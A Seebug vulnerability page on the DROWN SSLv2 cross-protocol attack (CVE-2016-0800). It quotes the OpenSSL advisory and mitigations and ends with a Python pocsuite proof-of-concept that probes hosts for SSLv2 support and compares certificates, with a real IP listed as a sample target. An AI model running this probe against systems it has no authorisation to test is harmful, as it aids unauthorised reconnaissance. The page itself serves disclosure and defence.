Lucene search

K
seebugRootSSV:90853
HistoryMar 02, 2016 - 12:00 a.m.

Cross-protocol attack on TLS using SSLv2 (DROWN) (CVE-2016-0800)

2016-03-0200:00:00
Root
www.seebug.org
197

0.952 High

EPSS

Percentile

99.2%

现在流行的服务器和客户端使用TLS加密, 然而由于错误配置, 许多服务器仍然支持SSLv2, 这是一种古老的协议, 许多客户端已经不支持 SSLv2。

DROWN攻击可以威胁到还在支持 SSLv2 的服务端和客户端,允许攻击者通过发送 probe 到支持 SSLv2 的使用相同密钥的服务端和客户端解密 TLS 通信。

官方关于漏洞的公告:

A cross-protocol attack was discovered that could lead to decryption of TLS
sessions by using a server supporting SSLv2 and EXPORT cipher suites as a
Bleichenbacher RSA padding oracle. Note that traffic between clients and
non-vulnerable servers can be decrypted provided another server supporting
SSLv2 and EXPORT ciphers (even with a different protocol such as SMTP, IMAP or
POP) shares the RSA keys of the non-vulnerable server. This vulnerability is
known as DROWN (CVE-2016-0800).

Recovering one session key requires the attacker to perform approximately 2^50
computation, as well as thousands of connections to the affected server. A more
efficient variant of the DROWN attack exists against unpatched OpenSSL servers
using versions that predate 1.0.2a, 1.0.1m, 1.0.0r and 0.9.8zf released on
19/Mar/2015 (see CVE-2016-0703 below).

Users can avoid this issue by disabling the SSLv2 protocol in all their SSL/TLS
servers, if they’ve not done so already. Disabling all SSLv2 ciphers is also
sufficient, provided the patches for CVE-2015-3197 (fixed in OpenSSL 1.0.1r and
1.0.2f) have been deployed. Servers that have not disabled the SSLv2 protocol,
and are not patched for CVE-2015-3197 are vulnerable to DROWN even if all SSLv2
ciphers are nominally disabled, because malicious clients can force the use of
SSLv2 with EXPORT ciphers.

OpenSSL 1.0.2g and 1.0.1s deploy the following mitigation against DROWN:

SSLv2 is now by default disabled at build-time. Builds that are not configured
with “enable-ssl2” will not support SSLv2. Even if “enable-ssl2” is used,
users who want to negotiate SSLv2 via the version-flexible SSLv23_method() will
need to explicitly call either of:

   SSL_CTX_clear_options(ctx, SSL_OP_NO_SSLv2);
   or
   SSL_clear_options(ssl, SSL_OP_NO_SSLv2);

as appropriate. Even if either of those is used, or the application explicitly
uses the version-specific SSLv2_method() or its client or server variants,
SSLv2 ciphers vulnerable to exhaustive search key recovery have been removed.
Specifically, the SSLv2 40-bit EXPORT ciphers, and SSLv2 56-bit DES are no
longer available.

In addition, weak ciphers in SSLv3 and up are now disabled in default builds of
OpenSSL. Builds that are not configured with “enable-weak-ssl-ciphers” will
not provide any “EXPORT” or “LOW” strength ciphers.

OpenSSL 1.0.2 users should upgrade to 1.0.2g
OpenSSL 1.0.1 users should upgrade to 1.0.1s

This issue was reported to OpenSSL on December 29th 2015 by Nimrod Aviram and
Sebastian Schinzel. The fix was developed by Viktor Dukhovni and Matt Caswell
of OpenSSL.

可以通过 https://test.drownattack.com/?site= 来检查站点是否受影

DROWN Scanner

https://github.com/nimia/public_drown_scanner

参考链接:

https://mta.openssl.org/pipermail/openssl-announce/2016-March/000066.html

http://m.bobao.360.cn/news/appdetail/2787.html?from=timeline&isappinstalled=0


                                                #!/usr/bin/env python
# -*- coding: utf-8 -*-

import socket
import urlparse

from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output
from pocsuite.api.poc import POCBase
from pocsuite.api.utils import url2ip


def check_tls(host, port):
    """
    params:
        host[str]: target host ip
        port[int]: target host port
    """
    client_hello = '16030100d8010000d403037d408377c8e5204623867604ab0ee4a140043a4e383f770a1e6b66c2d45d34e820de8656a211d79fa9809e9ae6404bb7bcc372afcdd6f51882e39ac2241a8535090016c02bc02fc00ac009c013c01400330039002f0035000a0100007500000014001200000f7777772e65746973616c61742e6567ff01000100000a00080006001700180019000b00020100002300003374000000100017001502683208737064792f332e3108687474702f312e31000500050100000000000d001600140401050106010201040305030603020304020202'

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((host, port))
    s.send(client_hello.decode('hex'))
    try:
        data = s.recv(1024*1024)
    except socket.timeout:
        data = ''

    if data:
        server_hello_len = int(data[3:5].encode('hex'),16)
        index = 5
        index += server_hello_len
        cert_msg = data[index:]

        return cert_msg


def check_drown(host, port):
    """
    params:
        host[str]: target host ip
        port[int]: target host port
    """
    client_hello_payload = '803e0100020015001000100100800200800600400400800700c00800800500806161616161616161616161616161616161616161616161616161616161616161'
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(8)
    s.connect((host, port))

    s.sendall(client_hello_payload.decode('hex'))
    try:
        server_hello = s.recv(10*1024)
    except socket.timeout:
        #print(" [-] Not connected SSLv2")
        return False
    except socket.error:
        return False

    try:
        # parse incoming packet to extract the certificate
        index = 0
        length = server_hello[index:index+2].encode('hex')
        index += 2
        msg_type = server_hello[index].encode('hex')
        index += 1
        session_id = server_hello[index].encode('hex')
        index += 1
        cert_type = server_hello[index].encode('hex')
        index += 1
        ssl_version = server_hello[index:index+2]
        index += 2
        cert_len = int(server_hello[index:index+2].encode('hex'),16)
        #print('cert_len', cert_len)
        index += 2
        cipher_spec_len = server_hello[index:index+2]
        index += 2
        conn_id = server_hello[index:index+2]
        index += 2
        cert = server_hello[index:cert_len+1]
        data = check_tls(host, port)
        if data:
            print(" [*] Check the TLS CERT and SSLv2 CERT")
            if cert.encode('hex') in data.encode('hex'):
                print(" [+] SSLv2 Enable - Same cert")
            else:
                print(" [+] SSLv2 Enable - Not same cert")
            return True
        else:
            return False
    except Exception as e:
        # most exception is "string index out of range"
        return False

    s.close()


class OpenSSL_DROWN(POCBase):
    vulID = '0'                 # vul ID
    version = '1'
    author = 'janes'
    vulDate = '2016-03-01'
    createDate = '2017-02-16'
    updateDate = '2017-02-16'
    references = ['https://www.openssl.org/blog/blog/2016/03/01/an-openssl-users-guide-to-drown/']
    name = 'OpenSSL Drown跨协议攻击TLS漏洞 POC'
    appPowerLink = 'https://www.openssl.org'
    appName = 'OpenSSL'
    appVersion = '1.0.2a, 1.0.1.m'
    vulType = 'Information Disclosure'
    desc = '''
        DROWN漏洞主要利用SSLv2协议的脆弱性对TLS协议进行攻击。攻击者通过中间人攻击等手段截获和解密用户和服务器之间的加密通信,包括但不限于用户名和密码、信用卡号、电子邮件、即时消息,以及敏感文件。
    '''
    samples = ['50.232.43.188']

    def _verify(self):
        result = {}
        output = Output(self)

        target_ip = url2ip(self.url)
        url = urlparse.urlparse(self.url)
        port = url.port or 443

        if check_drown(target_ip, port):
            output.success(result)
        else:
            output.fail('Not support SSLv2 connection. Not Vulnerable')
        return output

    def _attack(self):
        return self._verify()


register(OpenSSL_DROWN)